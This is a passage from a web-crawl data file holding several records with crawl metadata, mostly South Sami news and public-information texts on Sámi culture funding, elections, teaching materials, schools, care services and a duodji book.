2016\nSametingsmelding om samisk kunst og kultur\nNorsk kulturindeks 2012 Resultater fra samisk område\nArenaer for samisk kulturutøvelse\nDe samiske kulturhusene, teatrene, festivalene og museene er viktige arenaer for å synliggjøre, ivareta og utvikle samisk kunst, kultur og kulturarv.\nDisse institusjonene er samiske fyrtårn i sine lokalsamfunn, de tilbyr kulturnæringsarbeidsplasser i distriktene. Institusjonsbyggingen og institusjonsutviklingen er derfor grunnleggende for ivaretakelse og utvikling av det samiske samfunnet og det samiske demokratiet.\nSametinget gir direktetilskudd til ulike arenaer for kulturutøvelse. Direktetilskuddene til arenaer for samisk kulturutøvelse skal bidra til:\n- Samiske kulturformidlingsinstitusjoner som synliggjør samisk kulturliv og fungerer som arenaer for utvikling av samisk kultur\n- Festivaler som synliggjør, formidler og utvikler samisk kultur\n- At de samiske teatrene kan utvikle seg kunstnerisk, produsere scenekunst på høyt nivå og kan turnere med scenekunst, slik at de fungerer som arenaer for kulturopplevelse og kulturformidling, og til bruk og synliggjøring av samisk språk\n- At samisk kulturhistorie bevares, forvaltes og formidles\nVi har en søkerbasert ordning \"Arenaer for kunst- og kulturformidling\". Denne ordningen øker satsningen på samiske kunstnere, i tråd med kulturmeldingen. Blant prioriteringene i denne ordningen finnes et større fokus på nyskapende aktiviteter som skal bidra til utvikling av samiske institusjoner og arenaer for kunst- og kulturformidling. Ordningen støtter også arenaer, nettverk og samarbeidsprosjekter som bidrar til økt internasjonal promotering og eksport av samisk kunst og samiske kunstnere til et internasjonalt marked, samt etableringsstipend for unge samiske kunstnere\nRapport - Etablering av institusjonelt hjem for joik\nUtførende konsulent: Noodt & Reiding AS\nBeaivváš sámi našunálateáhter - Mulighetsstudie. Rapport av Statsbygg, august 2017.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Kultuvre","date":"2019-06-17T07:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00251.warc.gz","language":"sma","language_score":0.9598802924,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 0.9598802924156189, \"sme_Latn_score\": 0.03626391291618347}","num_words":825,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemeåejvieladtjh\nVeeljemeåejvieladtjen dïedte veeljemem jïh åålmegeveeljemem soejkesjidh, tjïrrehtidh jïh ektiedidh. Veeljemeåejvieladtje aaj IT-dåarjoem abpe veeljemereeremisnie evtiedidh jïh gïetedidh.\nVeeljemeåejvieladtje tjaatsestimmielåhkoeh, tjaatsestimmiekåarhth, veeljemesïetelh jïh jeatjah veeljemematerijaalh dorje. Veeljemen mænngan Veeljemeåejvieladtje joekedidh mandaath krirriej gaskem jïh tjirkie mah tjirkijh jïh sæjjasadtjh veeljeme sjïdteme rïjhkebiejjieveeljemisnie jïh Europa-parlameentese.\nLeeneståvroe regionaalen veeljemeåejvieladtje. Leeneståvroe sjæjsjele veeljemedistrikti bïjre, minngemosth tjaatsestimmieryöknemem gaajhkine veeljeminie jïh illedahkh tjirkie tjïelte- jïh laantedigkiereeremeveeljeminie.\nVeeljememoenehtse fïerhtene tjïeltine lea voenges veeljemeåejvieladtje. Veeljememoenehtse tjaatsestimmiedåastojh muana, veeljemesijjieh tjïeltesne gaavna, jïh dan dïedte åvtelhbodti tjaatsestimmie daesnie. Veeljememoenehtsen dïedte aaj annjebodts ryöknemem dovne veeljemeiehkeden jïh gaskevåhkoen våhkoen veeljemen mænngan. Tjïelte maaksa tjaatsestimmiedåastoejidie jïh veeljemesijjide.\nVeeljemepryövememoenehtse sjæjsjele moenemh mejtie klååkeme. Moenehtse tjïjhtje lïhtsegh åtna. Åejvie edtja daelie jallh åvteli ordinarije dåapmere jïh ij åadtjoeh rïjhkebiejjietjirkije årrodh. Rïjhkebiejjie lïhtsegidie muana.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemeaejvieladtjh.html","date":"2019-06-16T15:21:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998250.13\/warc\/CC-MAIN-20190616142725-20190616164725-00265.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":120,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.105,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sametinget prioriterer 10 millioner kroner til digitale læremidler for å forebygge trakassering, rusmiddelmisbruk, vold og overgrep.\nTall fra Elevundersøkelsen viser at samiske elever opplever mobbing i sin skolehverdag. Forskning gjort av forsker Astrid M. A. Eriksen ved Senter for samisk helseforskning viser at samiske kvinner i Norge har opplevd mer vold og overgrep enn norske kvinner. Det finnes få læremidler om disse temaene.\nViktig med kunnskap\n– Dette er en alvorlig og uakseptabel situasjon, vi må skaffe læremidler som skolene kan bruke og som kan forebygge trakassering, rusmiddelmisbruk, vold og seksuell overgrep, sier sametingsråd Mikkel Eskil Mikkelsen.\nSamiske barn og unge behøver å få opplæring og reflektere om disse temaene og utfordringene på sitt eget språk.\n– Vi må våge å synliggjøre, snakke og diskutere om sakene. For meg er det vesentlig at samiske lærere får gode læremidler til bruk i opplæringen, sier Mikkelsen.\nKunngjort konkurranse\nSametinget har nå kunngjort en konkurranse med formål å inngå rammeavtale med læremiddelprodusenter, som kan produsere tverrfaglige digitale læremidler på nord-, lule- og sørsamisk for grunnskole og videregående opplæring innenfor temaene:\nKropp, seksualitet og grensesetting\nForebygging av rus, vold og overgrep\nForebygging av trakassering, krenkelser og diskriminering\nKonkurransen er publisert på nettstedet Doffin.no. Frist for å levere inn tilbud er 7. juni 2019. Sametinget håper å få inn mange gode tilbud.\n– Informasjon, kunnskap og forståelse gir oss håp om å klare å endre utviklingen av samfunnet mot en bedre retning, sier sametingsråd Mikkel Eskil Mikkelsen.\nSaemien maanah jïh noerh edtjieh åadtjodh haestiedihks teemaj bïjre lïeredh jïjtsh gïelesne\nSaemiedigkie 10 millijovnh kråvnah prioriterede digitaale learoevierhtide juktie trïegkenassem, båajhtoeh åtnoem geeruvevoeteste, vædtsoesvoetem jïh daaresjimmiem heerredidh.\nTaalh Learohkegoerehtimmeste vuesiehtieh saemien learohkh irhkemem dååjroeh sijjen skuvleaarkebiejjien. Dotkeme maam dotkije Astrid M. A. Eriksen Saemien healsoedotkemejarngesne lea dorjeme vuesehte saemien nyjsenæjjah Nöörjesne leah vielie vædtsoesvoetem jïh daaresjimmiem dååjreme goh nöörjen nyjsenæjjah. Vaenie learoevierhtieh daej teemaj bïjre gååvnesieh.\nVihkeles daajrojne\n– Daate akte itjmies tsiehkie maam ibie maehtieh jååhkesjidh, tjoerebe learoevierhtieh reebledh mejtie skuvlh maehtieh nuhtjedh jïh mah maehtieh trïegkenassem, båajhtoeh åtnoem geeruvevoeteste, vædtsoesvoetem jïh seksuelle daaresjimmiem heerredidh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSaemien maanah jïh noerh daarpesjieh lïerehtimmiem åadtjodh jïh daej teemaj jïh haestemi bïjre ussjedadtedh jïjtsh gïelesne.\n– Tjoerebe doestedh vuesiehtidh, soptsestidh jïh digkiedidh daej aamhtesi bïjre, Mikkelsen jeahta. Munnjien vihkeles saemien lohkehtæjjah hijven learoevierhtieh åadtjoeh mejtie maehtieh lïerehtimmesne nuhtjedh, Mikkelsen jeahta.\nGaahtjemem bæjhkoehtamme\nDaelie Saemiedigkie aktem gaahtjemem bæjhkoehtamme dejnie aajkojne mierielatjkoem darjodh learoevierhtieprodusentigujmie, mah maehtieh dåaresthfaageles digitaale learoevierhtieh darjodh noerhte-, julev- jïh åarjelsaemien gïelesne maadthskuvlese jïh jåarhkelïerehtæmman daej teemaj sisnjeli:\nKråahpe, seksualiteete jïh raastebïejeme\nHeerredimmie geeruvevoeteste, vædtsoesvoeteste jïh daaresjimmeste\nHeerredimmie trïegkenasseste, narrahtimmeste jïh sïerredimmeste\nGaahtjeme lea bæjhkoehtamme nedtesijjesne Doffin.no. Deellememierie faalenasseste lea ruffien 7. b. 2019. Saemiedigkie gegkeste gellie hijven faalenassh åadtjodh.\n– Bïevnesh, daajroe jïh goerkese mijjese håhkoem vedtieh buektiehtidh evtiedimmiem siebriedahkeste jarkelidh akten buerebe otnjegen vööste, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/nearadio.no\/utfordrende-tema-pa-eget-sprak\/19.21535","date":"2019-06-19T19:23:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999040.56\/warc\/CC-MAIN-20190619184037-20190619210037-00222.warc.gz","language":"sma","language_score":0.9984458089,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9984458088874817}","num_words":455,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"En dörr med en samisk flagga markerar tydligt ingången till det samiska rummet på Vattudalsskolan i Strömsund. Rummet ska vara ett inspirerande klassrum som på ett naturligt sätt för språket, kulturen och traditionen vidare till de elever som läser samiska i kommunen.\nKommunen invigde det samiska rummet på Vattudalsskolan i maj 2016. Merparten av all sydsamisk undervisning för eleverna i Strömsund sker där.\nEleverna har själva varit med och skapat rummet. Väggarna är målade utifrån \"De åtta årstidernas folk\". Här finns en karta över Saepmie (samernas land) och det samiska alfabetet. I rummet finns också en tältkåta som fungerar som ett naturligt undervisningsrum om kultur och tradition med språket i fokus.\nTanken är att när eleverna ser dörren, som är målad utvändigt och invändigt som en samisk flagga, ska de naturligt lägga om till \"sitt språk\"; sydsamiska. Rummet skapar en samisk arena där man naturligt pratar den samiska man kan och gärna blir nyfiken på att lära sig mer. Undervisningen i det samiska språket bygger på att eleverna även får ta del av kulturen och traditionerna som tryggas för framtiden genom detta.\nÅarjelsaemien\nAkte okse saemien saevieginie tjaangeldahkem vuesehte saemien tjïehtjelasse Vattudaelieskuvlesne Straejmesne. Tjïehtjele edtja aktem skreejrehtimmie klaassetjïehtjele årrodh mij iemielaakan gïelem, kultuvrem jïh aerpievuekiem learoehkidie vadta mah saemiengïelem tjïeltesne luhkieh.\nTjïelte saemien tjïehtjelem Vattudaelieskuvlesne suehpeden 2016 rïhpesti. Jïjnjemes gaajhkide åarjelsaemien lohkehtimmijste learoehkidie Straejmesne desnie darjoen.\nLearoehkidie jïjtje meatan orreme tjïehtjelem skaepiedidh. Vïedtjide måaladamme guktie \" Dah gaektsie jaepieboelhki almetjh\" leah. Daesnie aktem guvviem Saepmeste jïh åarjelsaemien alfabeeteste. Tjïehtjelisnie aaj aktem låavthgåetiem gååvnese mij sïejhme lohkehtimmietjïehtjele sjædta gusnie kultuvre jïh aerpievuekie gïeline, gievlesne lea.\nUlmie lea gåessie learoehkidie oksem vuejnieh, mij måaladamme ålkoe-bielesne jïh sisbielesne goh aktem saemien saevegem, dellie dah edtjieh \"altese gïelese\" målsodh: åarjelsaemiengïelese. Tjïehtjele aktem saemien arenam skaepede gusnie sïejhme sjædta saemiestidh, dan jïjnjesh guktie maehtieh jïh aaj tjetskehke sjidtieh jienebh lïeredh. Lohkehtimmiem saemiengïelesne lea naemhtie ahte learoehkidie aaj åadtjoeh biehkiem kultuvreste jïh aerpievuekeste mij buerie båetije biejjide sjædta.\nSenast ändrad\/granskad: 11 december 2018","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.stromsund.se\/1025.html","date":"2019-06-16T18:25:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998288.34\/warc\/CC-MAIN-20190616162745-20190616184745-00472.warc.gz","language":"sma","language_score":0.9774516225,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9774516224861145, \"swe_Latn_score\": 0.017361631616950035}","num_words":322,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate gïele peanna, Pen Pal, akte Mp3 Spillere ,guktie maahta baakoeh, vaajesh soptsestidh jih aaj våarhkose biejedh. Daesnie sensore jih hot spots mij edtjieh baakoem vihth gaavnedh, gusnie paehpereleahpa barteme. Karin Sohlberg daejnie gïele peannine barka.\n–Daate lea dirrege mij edtja lustes laakan gïelem evtiedidh. Daate gååvnese abpe veartenissnie jih aaj Sveerjesne. Daelie edtjebe vuesiehtidh, guktie saemien maanah jih skuvle maanah, maehtieh daam provhkedh jeahta Sohlberg.\nSkuvlh jih Tjïelth.\nMaidi P Steinfjell, gïele konsuvlente, Raarvihken tjïeltesne, dihte veanta daate hijven.\n– Daate sjiehteles orreme, daejtie tjïelten baarkijde mij edtjieh saemien gïelem lieredh. Lohkem daan peannan sijse jih dellie maehtieh baakoe ohtsedidh jih peannan tjirrh govledh, guktie saemien gïelesne jiehtedh.\nSaemien skuvline nuhtjieh.\nMaalegen tjïelte daam gïelepeannam nuhtjeminie, gïele ektietæjja Ulrika Renström girmie.\n– Mijjieh nuhtjebe daam gïelepeannam maanagïertesne jih tuhtjem hijven. Dibretamme peahpereleahpa jih dellie maanah jijtje baakoeh uhtsieh jih gïelepeannan tjirr bakoem guvlieh. Dellie mij akth lustes sjædta jih peannine jijtje baakoe ohtsedh.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.nrk.no\/sapmi\/giele-peanna-1.11744973","date":"2019-06-24T22:37:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999740.32\/warc\/CC-MAIN-20190624211359-20190624233359-00401.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":152,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mujhtemevuasahtalleme Saemien Sijtesne\nFïerhten biejjien heevehtimmesne tjiehtjele lij dïeves almetjijstie mah sïjhtin vuejnedh mejtie guvvieh jïh daeverh gaavnin mah mojhtesh gåaskoejin dehtie tïjjeste dah jïjtjh saemienskuvlesne veedtsin. Jïh annje såemies våhkoeh heevehtimmien mænngan dovne daaletje jïh aarebi learohkh, skuvleklaassh jïh jeatjebh vuasahtallemisnie minnieh juktie dam vuejnedh jïh vielie saemienskuvlen bïjre lïeredh.\nLisa Dunfjeld-Aagård lea konservatovre jïh dïhte mij dam museumefaageles dïedtem åtna gaajhki vuasahtallemi åvteste Saemien Sijtesne. Lisa lea arkeologe jïh jalhts dagkerh vuasahtallemh leah guhkede destie maam doh jeanatjommesh vienhtieh akte arkeologe dorje, dle såemies barkoe orreme daeverh \"gaavnedh\".\n- Gieltegs orreme daejnie vuasahtalleminie barkedh, men ånnetji krïevije dan åvteste vuesiehtimmien gaavhtan ij leah dan gellie guvvieh jïh dokumentasjovne dejstie voestes jaepijste mænngan skuvle eelki. Men gosse almetjh eelkin daejredh mijjen soejkesji bïjre dle såemies materijaale båateme ij ajve skuvlen våarhkoste, men aaj gellie privaate almetjijstie. Dam lyjhkebe jïh annje almetjh maehtieh maaje aatigujmie båetedh, joekoen dejstie voestes jaepijste, Lisa soptseste.\nGellie tjaebpies mojhtesh\nAkte dejstie mah geajnoem gaavneme vuasahtallemasse lea Nora Marie Bransfjell. Nora tuhtjie akte joekoen hijven råajvarimmie gosse Saemien Sijte lea skraejriem vaalteme jïh dam vuasahtallemem stealladamme heevehtæmman. Nora Marie lea aarebi dovne lohkehtæjjine jïh rektovrine barkeme Åarjel-saemiej skuvlesne jïh maanam åtna mij daesnie vaadtseme. Gosse Nora Marie vuasahtallemen tjïrrh vaadtsa dellie gellie guvvieh jïh stuhtjetjh plaerijste gaavna dehtie tïjjeste satne skuvlesne barki.\n- Mov dan gellie mojhtesh. Gåetiem tseegkimh Gressåmoesne, mijjieh gellien aejkien tuvrine mïnnimh, jaa, joekoen don aejkien bïjre gosse Bergenen gåajkoe jïh Grieghaallese vöölkimh juktie Erik Byem goltelidh. Tuhtjem mijjieh limh akte dåehkie mij hijvenlaakan ektesne sjïehti jïh im maehtieh naan stoerre ovvaantoeh mujhtedh, men jïjnjem föörhkedimmiem, Nora Marie måjhta.\nPolaroid\nMen vuasahtalleme ij sïjhth ajve mojhtesh gåaskodh, dïhte sæjhta aaj mojhtesidie sjugniedidh. Gaajhkesh mah vuasahtallemasse båetieh jïh mah leah aarebi learohkh skuvlesne, birresåvva tjöödtjehtidh guktie dah maehtieh guvviem dejstie vaeltedh. Jïh dïhte mij jaahka polaroid-kameraen tïjje lij nåhkeme, båajhtode vaalta. Museume lea aktem eevre orre polaroidkameraem reebleme mejnie Lisa Dunfjeld-Aagård guvvieh vaalta. Gaajhkesh mah baejieh Lisam guvviem sijjeste vaeltedh dallatjinie sijjen guvviem vïedtjese åadtjoeh vuasahtallemesavkesne. Naemhtie doh aarebi learohkh, mah idtjin voejnesadth heevehtimmesne, maehtieh unnemes aktem guvviem sijjen aarebi skuvlevoelpijste vuejnedh. Daelie Nora Marien våaroe jïh konservatovre dam aarebi rektovrem bihkede.\n- Tjahkesjh rïekte stovlesne jïh vuartesjh munnjien, Lisa jeahta jïh faahketji Nora Marie akte bielie sjïdteme guvvievåarhkoste mij ahkedh stuerebe sjædta.\n- Daate lij akte hijven dååjrese jïh manne gegkestem jeenjesh åadtjoeh dam vuejnedh, Bransfjell jeahta mearan sov nommem tjaala guvvesne åvtelen konservatovrh dam vïedtjese gævnjoste jïh akte bielie guvvievïedtjeste sjædta.\nVuasahtalleme abpe rïhkeden gævnjesje.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/samimag.no\/sma\/content\/mujhtemevuasahtalleme-saemien-sijtesne","date":"2019-06-18T01:33:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998600.48\/warc\/CC-MAIN-20190618003227-20190618025227-00113.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":410,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sørsamisk oversettelse av Terje Formoes Kaptein Sabeltann lukter gull (2016). På en øde strand kjenner sjørøverkapteinen lukten av gull, og han befaler sine menn Pelle og Pysa til å grave.\nRisten Birje Steinfjell har oversatt til sørsamisk. Gitt ut i samarbeid med Trøndelag fylkesbibliotek.\nKapteejne Kråatjebaenie gulliem hapsa aktene saedtiegaedtesne. Dïhte Pellem jïh Skabroem stillie kroehkedh. Mearan kroehkeminnie, dle gaevniejægan jïjnjem rovnegem, aktem skïhpeståvroem, göökte kanovnh, aktem roesteme aanghkere jïh jijnjem jeatjah.\nMij maa saedtien nuelesne? Vïenhth, Kaaptejne Kråatjebaenie gulliem gaavna?\nRisten Birje Steinell jarkoestamme.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/samiskbibliotektjeneste.tromsfylke.no\/2018\/02\/15\/terje-formoe-kapteejne-kraatjebaenie-gulliem-haspa\/","date":"2019-06-16T18:36:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998291.9\/warc\/CC-MAIN-20190616182800-20190616204800-00139.warc.gz","language":"sma","language_score":0.962153852,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9621538519859314, \"nob_Latn_score\": 0.023509947583079338, \"sme_Latn_score\": 0.012117148377001286}","num_words":84,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"LSS omsorg\nLSS-omsorg i Vilhelmina kommun ska präglas av de övergripande mål som anges i socialtjänstelagen, LSS-lagen och i mål och riktlinjer. Kommunala mål är ett politiskt styrdokument anpassat till samhällets krav och förutsättningar. Jag målprogrammet beskriver ansvarsområden och den politiska viljan samt ambitionsnivå för LSS omsorg.\nLSS-hoksem Vualtjeren tjïeltesne edtja ulmide dåeriedhmh sosialetjirkemelaakesne, LSSlaakesne jih aaj ulmine jih rïektesïevine tjåådtje. Tjïelten ulmie akten politihken stuvretjaatsegem lea me siebredahken krïevide jih ååjmedimmide sjïehtesjamme. Ulmieprogrammesne dïedtedajvide jih politihken veljoem jih aaj syjhtedem LSS-hoksese tjåådte.\nVualtjeren tjäelten LSS-hoksem leah dåehkieårromesijjh, biejjiedarjoem jih jeatjah barkoehkty LSS laake lea, laake dåarjegem jih hoksehtimmiem ovmessie ov vervide. Laakem lea almetjidie gie stierre ov-verviejgujmie, almenjh autismine jallh almetjh mah evtiedimshearaldehteme, jih dejtie nuepiem vedtieh jïjtje dåarjegem jih hoksehtimmiebarkojde hammoedidh. Reaktide lea jïjtsh assistansem, åenhkstijjeårromem ålkoelisnie gåeteste, åenhksvaaksjoestimmie, gaskesadtemem, årrom fuelhkiehïejmesne jallh gåetieluhpiem sjïere hoksehtimmiem månen jih noeride jallh geervealmetjidie jih aaj vaedtsemem jih målsomehoksehtimmiem. Almetjedåhkie 1 jih 2 LSS: esne aaj reaktam fïerhten beajjetji darjose utniejägan. Sjöere dåarjegem jih habiliteringe Laantedigkien teameste sjïere dåarjegasse jih habiliteringese vedtien.\nJis ov-vervien gaavhtan tjoerh gåetiem jeatjahlaakan bigkedh jih öörnedh maahta gåetiesjïehtesjimmiedåarjoen mietie syökedh.\nLSS-hoksem aaj barkoeh deadta mah laeviehtamme goh sosialetjirkemelaakem almetjidie nuerebe goh 65 jaepien båeries lea.\nReeremeåejvie sociale\nTelefovne 0940-140 23\nSyökemem\nGïetedallijeaktesem tjïelkeste jih nännoestimmiem deadta. Syökemem daase seedtien:\nGîatetallijeaktesem\nTorget 6\n912 91 Vilhelmina","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.vilhelmina.se\/omsorg-och-hjaelp\/information-paa-samiska\/aeldreomsorg-paa-sydsamiska\/lss-omsorg\/","date":"2019-06-26T16:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000367.74\/warc\/CC-MAIN-20190626154459-20190626180459-00342.warc.gz","language":"sma","language_score":0.9998559952,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998559951782227}","num_words":211,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie vuajna jïh dååjroe tsiehkie dovne noerhte-, åarjel- jïh julevsaemien gïelide lea joekoen laejhtehks.\n– Mijjieh geerjene ihke mijjieh daan jaepien budsjedtesne libie maahteme dåarjoem vedtedh mij gïelelïerehtimmiem skreejrehte, maanaj jïh noeri lohkemem nænnoestahta, jïh mij lissine lea sjïehtedamme dejtie mah sjïere learoevierhtieh gïelelïerehtimmesne daarpesjieh, lïhtsege saemiedigkieraeresne Mikkel Eskil Mikkelsen jeahta.\n–Gosse lea åarjelsaemien bïjre libie viehkine dåarjoste minngemosth buektiehtamme ellies learoevierhtieh darjodh voestesgïelesne abpe noeredaltesasse, Mikkelsen hååtjoe.\n–Mijjieh learoevierhtieh prioriteradamme mij lohkemehaarjanimmiem feerhmie julevsaemien jïh åarjelsaemien gïelesne, jïh dåarjoem vadteme evtiedæmman smaave gærjide mah leah aelhkie lohkedh jåarhkedaltesasse. Lohkemegærjine akte tjïelke progresjovne jïh daltesejuekeme, mij lea nuhteligs lohkemehaarjanimmesne, Mikkelsen jåarhka.\nSaemiedigkien mïelen mietie aaj vihkeles learoevierhtieh duedtesne prioriteradidh juktie dåarjodh jïh saemien kultuvrem jïh aerpievuekien daajroem guhkiebasse sertedh. Daelie edtja learoevierhtiem Duodjegáldu maadthskuvlese jarkoestidh jïh sjïehtedidh julevsaemien jïh åarjelsaemien gïelese. Lissine saemiedigkieraerie aaj dåarjoem prioriteradamme learoevierhtide duedtesne teemaj mietie åarjelsaemien gïelesne eevre jåarhkedaltesen raajan.\n–Beapmoe- jïh healsoefaagine ellies learoevierhtieh fååtesamme saemien gïelesne. Daelie maahtam aavone bæjhkoehtidh mijjieh dåarjoem vadteme akten ohtsijasse mij ulmine åtna aktem learoevierhtieraajroem gaskedaltesasse evtiedidh. Raajroe lea gaajhkine golme saemien gïeline jïh dovne trygkeme jïh digitaale biehkieh åtna, raerielïhtsege Mikkelsen minngemosth jeahta.\nSaemiedigkie ohtsemh dåastoeji tjåanghkan 33,2 millijovnh kråvnaj åvteste. – Jalhts daate lea gellie ohtsemh budsjedtemierien muhteste saemiedigkieraerie lea madtjeles ihke mijjieh daan jaepien libie buektiehtamme doh jeanatjommes prioriteradamme suerkieh gaptjedh, Mikkelsen jeahta. Saemiedigkien dahkoesoejkesje evtiedæmman learoevierhtijste boelhken 2015-2018 lea dïhte våarome Saemiedigkien fïerhten jaepien prioriteradimmide.\nDoh learoevierhtieh mejtie mijjieh libie vierhtieh dåårjeme edtjieh dej orre learoesoejkesji mietie evtiesovvedh mah gaervies sjidtieh 2019. Mijjen ulmie lea aaj dah mah dejtie orre learoevierhtide darjoeh dejtie geervehtieh golme jïh bielie jaepine.\nJis gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, +47 917 42 161.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkieraerie-lea-daelie-bijjelen-20-1-millijovnh-kraavnah-learoevierhtide-daaaarjeme","date":"2019-06-17T07:00:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00457.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":267,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaebpies gærja åarjelsaemien duedtien bïjre\nDaelie gærjabæjhkoehtimmie. Fïerhte roene Saemien Sijtesne Snåasene lea dïeves almetjijstie mah ïedtjem utnieh duadtan jïh mah leah diekie båateme juktie meatan årrodh dennie stoerre heannadimmesne. Akte guhkies raajroe kåaveste jïh museumen orre bovrese jåhta gusnie doh barkijh gellie skaavtegh gærjajgujmie guedtieminie, eevre fïerske trygkerijeste.Gosse åestijh aktem jallh njieljie gærjah åasteme akte orre raajroe aalka. Guhkiebisnie tjiehtjielisnie golme dejstie tjaeliejijstie peannine tjahkasjieh juktie sijjen nommh gærjine tjaeledh. Doh golme gujnh leah guhkiem gïehtelamme gærjine, daan biejjien gærja gaervies jïh daelie klæhtoehtieh dah mahte rockenaestine domtoeh abpe nommetjaelemen gaavhtan.\nAktem daerpiesvoetem vööjni\nMaja Hilma Dunfjeld lea åejvieredaktööre, jïh meatan åtna tjaeliejidie Unni Steinfjell, Nils Arvid Westerfjell jïh Åsta Vangberg. Prosjekte eelki mahte 10 jaepiej juassah gosse Maja åssjalommesem åadtjoeji mænngan vuajneme daerpies raaktan dagkarinie http:\/\/samimag.no\/se\/user\/reset\/156\/1541153917\/ioInKhjZCpalyWGTm9PR0-Xfm....\n- Mijjieh gærjine eelkimh 2010, don jaepien aktem studijem eelkimh åarjelsaemien gielesne jïh duedtesne dennie jïlleskuvlesne mesnie barkim. Daan ööhpehtimmiejaepien vööjnim daerpies aktine gærjine goh daate. Dellie ij lij naan gærja gusnie gaajhkh dïejvesh jïh baakoeh duedtien bïjre, jïh mijjieh tjoerimh såemies annjebodts gærjetjh learoehkidie darjodh. Vaallah dan jïjnje lij dorjesovveme mij meehti dejtie ovmessie prosesside vuesiehtidh jïh tjïelkestidh ovmessie myövhkes duedtien bïjre.\n- Mubpien jaepien biejjieladtje åvtehkinie eelkim Sijti Jarngesne Aarbortesne, jïh dellie dallah eelkim vierhtiej bïjre syökedh guktie mijjieh meehtimh aelkedh baakoeh, dïejvesh jïh jeatjah bïevnesh tjöönghkedh. Gellie jaepieh vaaseme daam gærjam geervehtidh, jïh joekoen guhkiem gïehtelim vierhtiej bïjre syökedh jïh vielie. Prosjekten galhkuvisnie viehkiem åadtjoejimh Saemien Sijteste trygkemasse jïh vielie, jïh daelie mijjieh minngemosth gaervies jïh dïhte dan joekoen njaelkie domtoe, Dunfjeld tjïelkeste.\nJåerhkeme 